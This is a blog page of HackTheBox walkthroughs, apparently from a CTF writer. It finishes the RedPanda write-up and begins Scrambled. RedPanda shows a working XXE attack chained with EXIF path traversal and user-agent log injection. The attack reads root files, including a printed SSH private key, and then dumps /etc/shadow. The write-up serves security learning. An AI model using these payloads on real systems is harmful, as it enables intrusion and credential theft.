<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/redpanda]
└─# python3 <span class="nt">-m</span> http.server 80
Serving HTTP on 0.0.0.0 port 80 <span class="o">(</span>http://0.0.0.0:80/<span class="o">)</span> ...
</code></pre></div></div>
<p>Switch to the box, pull it over and run:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>woodenk@redpanda:/dev/shm<span class="nv">$ </span>wget http://10.10.14.207/pspy64
<span class="nt">--2022-07-16</span> 15:26:55-- http://10.10.14.207/pspy64
Connecting to 10.10.14.207:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 <span class="o">(</span>2.9M<span class="o">)</span> <span class="o">[</span>application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[<span class="o">================>]</span> 2.94M 2.35MB/s <span class="k">in </span>1.2s
2022-07-16 15:26:56 <span class="o">(</span>2.35 MB/s<span class="o">)</span> - ‘pspy64’ saved <span class="o">[</span>3078592/3078592]
woodenk@redpanda:/dev/shm<span class="nv">$ </span><span class="nb">chmod</span> +x pspy64
woodenk@redpanda:/dev/shm<span class="nv">$ </span>./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events <span class="o">(</span><span class="nv">colored</span><span class="o">=</span><span class="nb">true</span><span class="o">)</span>: <span class="nv">processes</span><span class="o">=</span><span class="nb">true</span> | file-system-events<span class="o">=</span><span class="nb">false</span> <span class="o">||</span>| Scannning <span class="k">for </span>processes every 100ms and on inotify events <span class="o">||</span>| Watching directories: <span class="o">[</span>/usr /tmp /etc /home /var /opt] <span class="o">(</span>recursive<span class="o">)</span> | <span class="o">[]</span> <span class="o">(</span>non-recursive<span class="o">)</span>
Draining file system events due to startup...
<span class="k">done
</span>2022/07/16 15:27:13 CMD: <span class="nv">UID</span><span class="o">=</span>0 <span class="nv">PID</span><span class="o">=</span>99 |
2022/07/16 15:27:13 CMD: <span class="nv">UID</span><span class="o">=</span>0 <span class="nv">PID</span><span class="o">=</span>98 |
2022/07/16 15:27:13 CMD: <span class="nv">UID</span><span class="o">=</span>0 <span class="nv">PID</span><span class="o">=</span>97 |
<SNIP>
2022/07/16 15:30:01 CMD: <span class="nv">UID</span><span class="o">=</span>1000 <span class="nv">PID</span><span class="o">=</span>17379 | /bin/bash /opt/cleanup.sh
2022/07/16 15:30:01 CMD: <span class="nv">UID</span><span class="o">=</span>1000 <span class="nv">PID</span><span class="o">=</span>17388 | /usr/bin/find /home/woodenk <span class="nt">-name</span> <span class="k">*</span>.xml <span class="nt">-exec</span> <span class="nb">rm</span> <span class="nt">-rf</span> <span class="o">{}</span> <span class="p">;</span>
2022/07/16 15:30:01 CMD: <span class="nv">UID</span><span class="o">=</span>1000 <span class="nv">PID</span><span class="o">=</span>17391 | /usr/bin/find /tmp <span class="nt">-name</span> <span class="k">*</span>.jpg <span class="nt">-exec</span> <span class="nb">rm</span> <span class="nt">-rf</span> <span class="o">{}</span> <span class="p">;</span>
2022/07/16 15:30:01 CMD: <span class="nv">UID</span><span class="o">=</span>1000 <span class="nv">PID</span><span class="o">=</span>17394 | /usr/bin/find /home/woodenk <span class="nt">-name</span> <span class="k">*</span>.jpg <span class="nt">-exec</span> <span class="nb">rm</span> <span class="nt">-rf</span> <span class="o">{}</span> <span class="p">;</span>
<SNIP>
2022/07/16 15:32:01 CMD: <span class="nv">UID</span><span class="o">=</span>0 <span class="nv">PID</span><span class="o">=</span>17410 | java <span class="nt">-jar</span> /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
<SNIP>
2022/07/16 15:34:01 CMD: <span class="nv">UID</span><span class="o">=</span>0 <span class="nv">PID</span><span class="o">=</span>17469 | java <span class="nt">-jar</span> /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
<SNIP>
2022/07/16 15:36:01 CMD: <span class="nv">UID</span><span class="o">=</span>0 <span class="nv">PID</span><span class="o">=</span>17543 | java <span class="nt">-jar</span> /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
<SNIP>
2022/07/16 15:35:01 CMD: <span class="nv">UID</span><span class="o">=</span>1000 <span class="nv">PID</span><span class="o">=</span>17513 | /bin/bash /opt/cleanup.sh
2022/07/16 15:35:01 CMD: <span class="nv">UID</span><span class="o">=</span>1000 <span class="nv">PID</span><span class="o">=</span>17515 | /usr/bin/find /home/woodenk <span class="nt">-name</span> <span class="k">*</span>.xml <span class="nt">-exec</span> <span class="nb">rm</span> <span class="nt">-rf</span> <span class="o">{}</span> <span class="p">;</span>
2022/07/16 15:35:01 CMD: <span class="nv">UID</span><span class="o">=</span>1000 <span class="nv">PID</span><span class="o">=</span>17520 | /usr/bin/find /home/woodenk <span class="nt">-name</span> <span class="k">*</span>.jpg <span class="nt">-exec</span> <span class="nb">rm</span> <span class="nt">-rf</span> <span class="o">{}</span> <span class="p">;</span>
</code></pre></div></div>
<p>We see it runs every five minutes. We also see a java file being run every two minutes. If we search we can find the source file for it:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>woodenk@redpanda:/opt/credit-score/LogParser/final/src/main/java/com/logparser<span class="nv">$ </span><span class="nb">cat </span>App.java
</code></pre></div></div>
<h2 id="code-review">Code Review</h2>
<p>Java is not my thing so I had to do a lot of searching to find what this java app is doing.</p>
<p>First bit of interest:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">class</span> <span class="nc">App</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="nc">Map</span> <span class="nf">parseLog</span><span class="o">(</span><span class="nc">String</span> <span class="n">line</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">String</span><span class="o">[]</span> <span class="n">strings</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="na">split</span><span class="o">(</span><span class="s">"\\|\\|"</span><span class="o">);</span>
<span class="nc">Map</span> <span class="n">map</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HashMap</span><span class="o"><>();</span>
<span class="n">map</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"status_code"</span><span class="o">,</span> <span class="nc">Integer</span><span class="o">.</span><span class="na">parseInt</span><span class="o">(</span><span class="n">strings</span><span class="o">[</span><span class="mi">0</span><span class="o">]));</span>
<span class="n">map</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"ip"</span><span class="o">,</span> <span class="n">strings</span><span class="o">[</span><span class="mi">1</span><span class="o">]);</span>
<span class="n">map</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"user_agent"</span><span class="o">,</span> <span class="n">strings</span><span class="o">[</span><span class="mi">2</span><span class="o">]);</span>
<span class="n">map</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"uri"</span><span class="o">,</span> <span class="n">strings</span><span class="o">[</span><span class="mi">3</span><span class="o">]);</span>
</code></pre></div></div>
<p>This is taking a string called line that is passed to it, and splitting it in to four elements.</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">public</span> <span class="kd">static</span> <span class="nc">String</span> <span class="nf">getArtist</span><span class="o">(</span><span class="nc">String</span> <span class="n">uri</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span><span class="o">,</span> <span class="nc">JpegProcessingException</span>
<span class="o">{</span>
<span class="nc">String</span> <span class="n">fullpath</span> <span class="o">=</span> <span class="s">"/opt/panda_search/src/main/resources/static"</span> <span class="o">+</span> <span class="n">uri</span><span class="o">;</span>
<span class="nc">File</span> <span class="n">jpgFile</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">File</span><span class="o">(</span><span class="n">fullpath</span><span class="o">);</span>
<span class="nc">Metadata</span> <span class="n">metadata</span> <span class="o">=</span> <span class="nc">JpegMetadataReader</span><span class="o">.</span><span class="na">readMetadata</span><span class="o">(</span><span class="n">jpgFile</span><span class="o">);</span>
<span class="k">for</span><span class="o">(</span><span class="nc">Directory</span> <span class="n">dir</span> <span class="o">:</span> <span class="n">metadata</span><span class="o">.</span><span class="na">getDirectories</span><span class="o">())</span>
<span class="o">{</span>
<span class="k">for</span><span class="o">(</span><span class="nc">Tag</span> <span class="n">tag</span> <span class="o">:</span> <span class="n">dir</span><span class="o">.</span><span class="na">getTags</span><span class="o">())</span>
<span class="o">{</span>
<span class="k">if</span><span class="o">(</span><span class="n">tag</span><span class="o">.</span><span class="na">getTagName</span><span class="o">()</span> <span class="o">==</span> <span class="s">"Artist"</span><span class="o">)</span>
<span class="o">{</span>
<span class="k">return</span> <span class="n">tag</span><span class="o">.</span><span class="na">getDescription</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>This is reading metadata from jpgs it finds at <strong>fullpath</strong>. If the Artist attribute is set it returns the description from it.</p>
<p>This is the main section which calls the above sections:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="o">}</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">JDOMException</span><span class="o">,</span> <span class="nc">IOException</span><span class="o">,</span> <span class="nc">JpegProcessingException</span> <span class="o">{</span>
<span class="nc">File</span> <span class="n">log_fd</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">File</span><span class="o">(</span><span class="s">"/opt/panda_search/redpanda.log"</span><span class="o">);</span>
<span class="nc">Scanner</span> <span class="n">log_reader</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Scanner</span><span class="o">(</span><span class="n">log_fd</span><span class="o">);</span>
<span class="k">while</span><span class="o">(</span><span class="n">log_reader</span><span class="o">.</span><span class="na">hasNextLine</span><span class="o">())</span>
<span class="o">{</span>
<span class="nc">String</span> <span class="n">line</span> <span class="o">=</span> <span class="n">log_reader</span><span class="o">.</span><span class="na">nextLine</span><span class="o">();</span>
<span class="k">if</span><span class="o">(!</span><span class="n">isImage</span><span class="o">(</span><span class="n">line</span><span class="o">))</span>
<span class="o">{</span>
<span class="k">continue</span><span class="o">;</span>
<span class="o">}</span>
<span class="nc">Map</span> <span class="n">parsed_data</span> <span class="o">=</span> <span class="n">parseLog</span><span class="o">(</span><span class="n">line</span><span class="o">);</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="n">parsed_data</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="s">"uri"</span><span class="o">));</span>
<span class="nc">String</span> <span class="n">artist</span> <span class="o">=</span> <span class="n">getArtist</span><span class="o">(</span><span class="n">parsed_data</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="s">"uri"</span><span class="o">).</span><span class="na">toString</span><span class="o">());</span>
<span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"Artist: "</span> <span class="o">+</span> <span class="n">artist</span><span class="o">);</span>
<span class="nc">String</span> <span class="n">xmlPath</span> <span class="o">=</span> <span class="s">"/credits/"</span> <span class="o">+</span> <span class="n">artist</span> <span class="o">+</span> <span class="s">"_creds.xml"</span><span class="o">;</span>
<span class="n">addViewTo</span><span class="o">(</span><span class="n">xmlPath</span><span class="o">,</span> <span class="n">parsed_data</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="s">"uri"</span><span class="o">).</span><span class="na">toString</span><span class="o">());</span>
</code></pre></div></div>
<p>It calls the parseLog procedure above, and the getArtist one. It’s setting the xml path to the value of artist then adding _creds.xml on the end.</p>
<p>We can look at that redpanda.log:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>woodenk@redpanda:~$ cat /opt/panda_search/redpanda.log | grep 10.10.14.207
200||10.10.14.207||curl/7.81.0||/export.xml
200||10.10.14.207||curl/7.81.0||/search
200||10.10.14.207||curl/7.81.0||/search
200||10.10.14.207||curl/7.81.0||/search
200||10.10.14.207||curl/7.81.0||/export.xml
200||10.10.14.207||curl/7.81.0||/export.xml
200||10.10.14.207||curl/7.81.0||/export.xml
</code></pre></div></div>
<p>There you can see the log entries created when I’ve used curl to search and export the table. The above script will take each of the lines in the log and split them so it can count views.</p>
<h2 id="xxe-attack">XXE Attack</h2>
<p>With what we’ve gathered so far we can now exploit this by using an XML External Entity (XXE) attack. Similar to what we did a while ago on a TryHackMe room called <a href="https://pencer.io/ctf/ctf-thm-mustacchio/">Mustacchio</a>.</p>
<p>First we need to use one of the files I downloaded earlier from the box and add a new value to the artist field:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/redpanda]
└─# exiftool smooch.jpg
ExifTool Version Number : 12.42
File Name : smooch.jpg
Directory : <span class="nb">.</span>
File Size : 196 kB
File Modification Date/Time : 2022:07:16 15:00:59+01:00
File Access Date/Time : 2022:07:16 15:03:39+01:00
File Inode Change Date/Time : 2022:07:16 15:02:25+01:00
File Permissions : <span class="nt">-rw-r--r--</span>
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
Exif Byte Order : Big-endian <span class="o">(</span>Motorola, MM<span class="o">)</span>
X Resolution : 72
Y Resolution : 72
Resolution Unit : inches
Artist : woodenk
Y Cb Cr Positioning : Centered
Image Width : 1024
Image Height : 1280
Encoding Process : Progressive DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 <span class="o">(</span>2 2<span class="o">)</span>
Image Size : 1024x1280
Megapixels : 1.3
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/redpanda]
└─# exiftool smooch.jpg <span class="nt">-Artist</span><span class="o">=</span><span class="s1">'../home/woodenk/pencer'</span>
1 image files updated
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/redpanda]
└─# exiftool smooch.jpg
ExifTool Version Number : 12.42
File Name : smooch.jpg
Directory : <span class="nb">.</span>
File Size : 196 kB
File Modification Date/Time : 2022:07:16 16:51:04+01:00
File Access Date/Time : 2022:07:16 16:51:04+01:00
File Inode Change Date/Time : 2022:07:16 16:51:04+01:00
File Permissions : <span class="nt">-rw-r--r--</span>
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
Exif Byte Order : Big-endian <span class="o">(</span>Motorola, MM<span class="o">)</span>
X Resolution : 72
Y Resolution : 72
Resolution Unit : inches
Artist : ../home/woodenk/pencer
Y Cb Cr Positioning : Centered
Image Width : 1024
Image Height : 1280
Encoding Process : Progressive DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 <span class="o">(</span>2 2<span class="o">)</span>
Image Size : 1024x1280
Megapixels : 1.3
</code></pre></div></div>
<p>I’ve changed Artist to a path to a file called pencer in the woodenk folder. We know from the script we’ve just looked at that it will take that and add _creds.xml on to the end.</p>
<p>Next we need to create the xml file that it will target. The XXE exploit is based on HackTricks <a href="https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity#read-file">here</a> which shows you how to read a file:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──(root㉿kali)-[~/htb/redpanda]
└─# cat pencer_creds.xml
<span class="cp"><?xml version="1.0" encoding="UTF-8"?></span>
<span class="c"><!--?xml version="1.0" ?--></span>
<span class="cp"><!DOCTYPE replace [<!ENTITY pencer SYSTEM "file:///root/root.txt"></span> ]><span class="nt"><credits></span>
<span class="nt"><author></span>damian<span class="nt"></author></span>
<span class="nt"><image></span>
<span class="nt"><uri></span>../../../home/woodenk/smooch.jpg<span class="nt"></uri></span>
<span class="nt"><hello></span><span class="ni">&pencer;</span><span class="nt"></hello></span>
<span class="nt"><views></span>4<span class="nt"></views></span>
<span class="nt"></image></span>
<span class="nt"><totalviews></span>4<span class="nt"></totalviews></span>
<span class="nt"></credits></span>
</code></pre></div></div>
<p>We know the format of this XML because earlier when clicking on the <strong>Export table</strong> link on the website we saw the format of the output.</p>
<p>Pull those two files on to the box like we did earlier, here they are in /home/woodenk:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>woodenk@redpanda:~$ ll
-rw-rw-r-- 1 woodenk woodenk 316 Jul 16 16:56 pencer_creds.xml
-rw-rw-r-- 1 woodenk woodenk 195979 Jul 16 15:51 smooch.jpg
-rw-r----- 1 root woodenk 33 Jul 16 11:05 user.txt
</code></pre></div></div>
<p>Now we want to plant our malicious agent string in the log file:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/redpanda]
└─# curl <span class="nt">-i</span> <span class="nt">-s</span> <span class="nt">-k</span> <span class="nt">-X</span> POST <span class="nt">--data-binary</span> <span class="s1">'name=pencer'</span> <span class="s1">'http://10.10.11.170:8080/search'</span> <span class="nt">-A</span> <span class="s2">"||/../../../../../../../home/woodenk/smooch.jpg"</span>
</code></pre></div></div>
<p>On the box we can check it’s in the log:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>woodenk@redpanda:~$ cat /opt/panda_search/redpanda.log | grep 10.10.14.207
200||10.10.14.207||||/../../../../../../../home/woodenk/smooch.jpg||/
</code></pre></div></div>
<p>Now we do an export, which will read and parse the log file causing our XXE to trigger:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/redpanda]
└─# curl http://10.10.11.170:8080/export.xml?author<span class="o">=</span>damian
</code></pre></div></div>
<h2 id="root-flag">Root Flag</h2>
<p>Back on the box, wait a minute then check the pencer_cred.xml file:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>woodenk@redpanda:~$ cat pencer_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!--?xml version="1.0" ?-->
<!DOCTYPE replace>
<credits>
<author>damian</author>
<image>
<uri>../../../../../home/woodenk/smooch.jpg</uri>
<hello>bb6aaaabed6d28626dfe83c7567b955e</hello>
<views>4</views>
</image>
<totalviews>4</totalviews>
</credits>
</code></pre></div></div>
<p>We see the pencer variable has been replaced with the contents of the root flag.</p>
<p>If we wanted to get SSH access we could use the same XXE method but get the root private SSH key instead by changing our line to this:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><!DOCTYPE replace [<!ENTITY pencer SYSTEM "file:///root/.ssh/id_rsa"></span> ]><span class="nt"><credits></span>
</code></pre></div></div>
<p>Now after the exploit our file contains the key:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?xml version="1.0" encoding="UTF-8"?></span>
<span class="c"><!--?xml version="1.0" ?--></span>
<span class="cp"><!DOCTYPE replace></span>
<span class="nt"><credits></span>
<span class="nt"><author></span>damian<span class="nt"></author></span>
<span class="nt"><image></span>
<span class="nt"><uri></span>/../../../../../../../home/woodenk/smooch.jpg<span class="nt"></uri></span>
<span class="nt"><hello></span>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----<span class="nt"></hello></span>
<span class="nt"><views></span>4<span class="nt"></views></span>
<span class="nt"></image></span>
<span class="nt"><totalviews></span>4<span class="nt"></totalviews></span>
<span class="nt"></credits></span>
</code></pre></div></div>
<p>Copy that to a file on Kali, chmod 600 it and log in as root:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/redpanda]
└─# ssh <span class="nt">-i</span> id_rsa 10.10.11.170
Welcome to Ubuntu 20.04.4 LTS <span class="o">(</span>GNU/Linux 5.4.0-121-generic x86_64<span class="o">)</span>
Last login: Sun Jul 17 14:39:54 2022 from 10.10.16.23
root@redpanda:~# <span class="nb">id
</span><span class="nv">uid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span>
root@redpanda:~# <span class="nb">cat</span> /etc/shadow
root:<span class="nv">$6$HYdGmG45Ye119KMJ$XKsSsbWxGmfYk38VaKlJkaLomoPUzkL</span>/l4XNJN3PuXYAYebnSz628ii4VLWfEuPShcAEpQRjhl.vi0MrJAC8x0:19157:0:99999:7:::
</code></pre></div></div>
<p>All done. Hopefully you learnt something on this fairly simple box.</p>{"name"=>nil, "avatar"=>"/assets/images/BlackUnicorn.png", "bio"=>"Hacking. A lot of hacking. Mostly CTFs, but then other stuff too when I get round to it.", "links"=>[{"label"=>"Website", "icon"=>"fas fa-fw fa-link", "url"=>"https://pencer.io"}, {"label"=>"Twitter", "icon"=>"fab fa-fw fa-twitter-square", "url"=>"https://twitter.com/pencer_io"}, {"label"=>"GitHub", "icon"=>"fab fa-fw fa-github", "url"=>"https://github.com/pencer-io/"}]}RedPanda is an easy level machine by Woodenk on HackTheBox. This Linux box focuses on a Java web application and a couple of OWASP favourite methods of exploiting it.Walk-through of Scrambled from HackTheBox2023-01-29T00:00:00+00:002023-01-29T00:00:00+00:00https://pencer.io/ctf/ctf-htb-scrambled<p><a href="https://www.hackthebox.com/home/machines/profile/476">Scrambled</a> is a medium level machine by <a href="https://www.hackthebox.com/home/users/profile/158833">VbScrub</a> on <a href="https://www.hackthebox.com/home">HackTheBox</a>. It’s A Windows box that focuses on using different Impacket scripts to progress.</p>
<!--more-->
<h2 id="machine-information">Machine Information</h2>
<p><img src="/assets/images/2022-07-08-17-11-42.png" alt="scrambled" /></p>
<p>We start with website recon which leads us to brute forcing Kerberos to find valid user accounts. With credentials we gain access to SMB shares, and retrieve the hash of a service principal for a SQL account. Cracking that lets us dump another accounts credentials from SQL, and we gain our first shell on the box. We migrate to another user and grab a DLL that reveals how the Sales Order App works. From there we use a deserialization exploit to get a shell as NT System.</p>
<table>
<thead>
<tr>
<th>Details</th>
<th> </th>
</tr>
</thead>
<tbody>
<tr>
<td>Hosting Site</td>
<td><a href="https://www.hackthebox.eu">HackTheBox</a></td>
</tr>
<tr>
<td>Link To Machine</td>
<td><a href="https://www.hackthebox.com/home/machines/profile/476">HTB - Medium - Scrambled</a></td>
</tr>
<tr>
<td>Machine Release Date</td>
<td>11th June 2022</td>
</tr>
<tr>
<td>Date I Completed It</td>
<td>July 2022</td>
</tr>
<tr>
<td>Distribution Used</td>
<td>Kali 2022.1 – <a href="https://www.kali.org/blog/kali-linux-2022-1-release/">Release Info</a></td>
</tr>
</tbody>
</table>
<h2 id="initial-recon">Initial Recon</h2>
<p>As always let’s start with Nmap:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# <span class="nv">ports</span><span class="o">=</span><span class="si">$(</span>nmap <span class="nt">-p-</span> <span class="nt">--min-rate</span><span class="o">=</span>1000 <span class="nt">-T4</span> 10.10.11.168 | <span class="nb">grep</span> ^[0-9] | <span class="nb">cut</span> <span class="nt">-d</span> <span class="s1">'/'</span> <span class="nt">-f</span> 1 | <span class="nb">tr</span> <span class="s1">'\n'</span> <span class="s1">','</span> | <span class="nb">sed </span>s/,<span class="nv">$/</span>/<span class="si">)</span>
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# nmap <span class="nt">-p</span><span class="nv">$ports</span> <span class="nt">-sC</span> <span class="nt">-sV</span> <span class="nt">-oA</span> scrambled 10.10.11.168
Starting Nmap 7.92 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2022-07-08 17:17 BST
Nmap scan report <span class="k">for </span>10.10.11.168
Host is up <span class="o">(</span>0.028s latency<span class="o">)</span><span class="nb">.</span>
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos <span class="o">(</span>server <span class="nb">time</span>: 2022-07-08 16:17:27Z<span class="o">)</span>
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP <span class="o">(</span>Domain: scrm.local0., Site: Default-First-Site-Name<span class="o">)</span>
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP <span class="o">(</span>Domain: scrm.local0., Site: Default-First-Site-Name<span class="o">)</span>
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00<span class="p">;</span> RTM
3268/tcp open ldap Microsoft Windows Active Directory LDAP <span class="o">(</span>Domain: scrm.local0., Site: Default-First-Site-Name<span class="o">)</span>
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP <span class="o">(</span>Domain: scrm.local0., Site: Default-First-Site-Name<span class="o">)</span>
4411/tcp open found?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
| SCRAMBLECORP_ORDERS_V1.0.3<span class="p">;</span>
| FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions:
| SCRAMBLECORP_ORDERS_V1.0.3<span class="p">;</span>
|_ ERROR_UNKNOWN_COMMAND<span class="p">;</span>
5985/tcp open http Microsoft HTTPAPI httpd 2.0 <span class="o">(</span>SSDP/UPnP<span class="o">)</span>
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49700/tcp open msrpc Microsoft Windows RPC
49704/tcp open msrpc Microsoft Windows RPC
51550/tcp open msrpc Microsoft Windows RPC
</code></pre></div></div>
<p>It’s a Windows box so a lot of open ports. One that stands out is 4411 with some sort of custom application running on it:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/scrambled]
└─# nc <span class="nt">-v</span> scrm.local 4411
scrm.local <span class="o">[</span>10.10.11.168] 4411 <span class="o">(</span>?<span class="o">)</span> open
SCRAMBLECORP_ORDERS_V1.0.3<span class="p">;</span>
<span class="nb">help
</span>ERROR_UNKNOWN_COMMAND<span class="p">;</span>
LOGON
ERROR_INVALID_CREDENTIALS<span class="p">;</span>
</code></pre></div></div>
<h2 id="website-review">Website Review</h2>
<p>For now we don’t know what to do here so let’s look at the website on port 80:</p>
<p><img src="/assets/images/2022-07-08-17-27-31.png" alt="scrambled-website" /></p>
<p>There’s not a lot of content on the site, this is an interesting message on the IT Services page:</p>
<p><img src="/assets/images/2022-07-08-17-28-29.png" alt="scrambled-itservices" /></p>
<p>Suggests we have a Windows box with no NTLM so we’ll be looking at Kerberos instead.</p>
<p>There’s a link to a page for contacting IT support:</p>
<p><img src="/assets/images/2022-07-10-21-45-35.png" alt="scrambled-contactit" /></p>
<p>This shows us that us a potential username of ksimpson.</p>
<p>There’s a link to a page where you can report a problem with the sales app:</p>
<p><img src="/assets/images/2022-07-08-17-30-51.png" alt="scrambled-salesapp" /></p>
<p>It tells us to enable debug logging which uses port 4411:</p>
<p><img src="/assets/images/2022-07-08-17-31-59.png" alt="scrambled-enabledebug" /></p>
<p>We now have a clue as to what port 4411 is for. Also there’s a link to a page to request a password reset:</p>
<p><img src="/assets/images/2022-07-08-17-33-10.png" alt="scrambled-passwordreset" /></p>
<p>Another clue that a password reset will mean the password is the same as your username.</p>
<h2 id="kerbrute">Kerbrute</h2>
<p>We can use <a href="https://github.com/ropnop/kerbrute">Kerbrute</a> to do a Kerberos brute force attack, which we covered in the TryHackMe room <a href="https://pencer.io/ctf/ctf-thm-attacktive/#task-4---kerbrute">Attacktive</a> a while ago.</p>
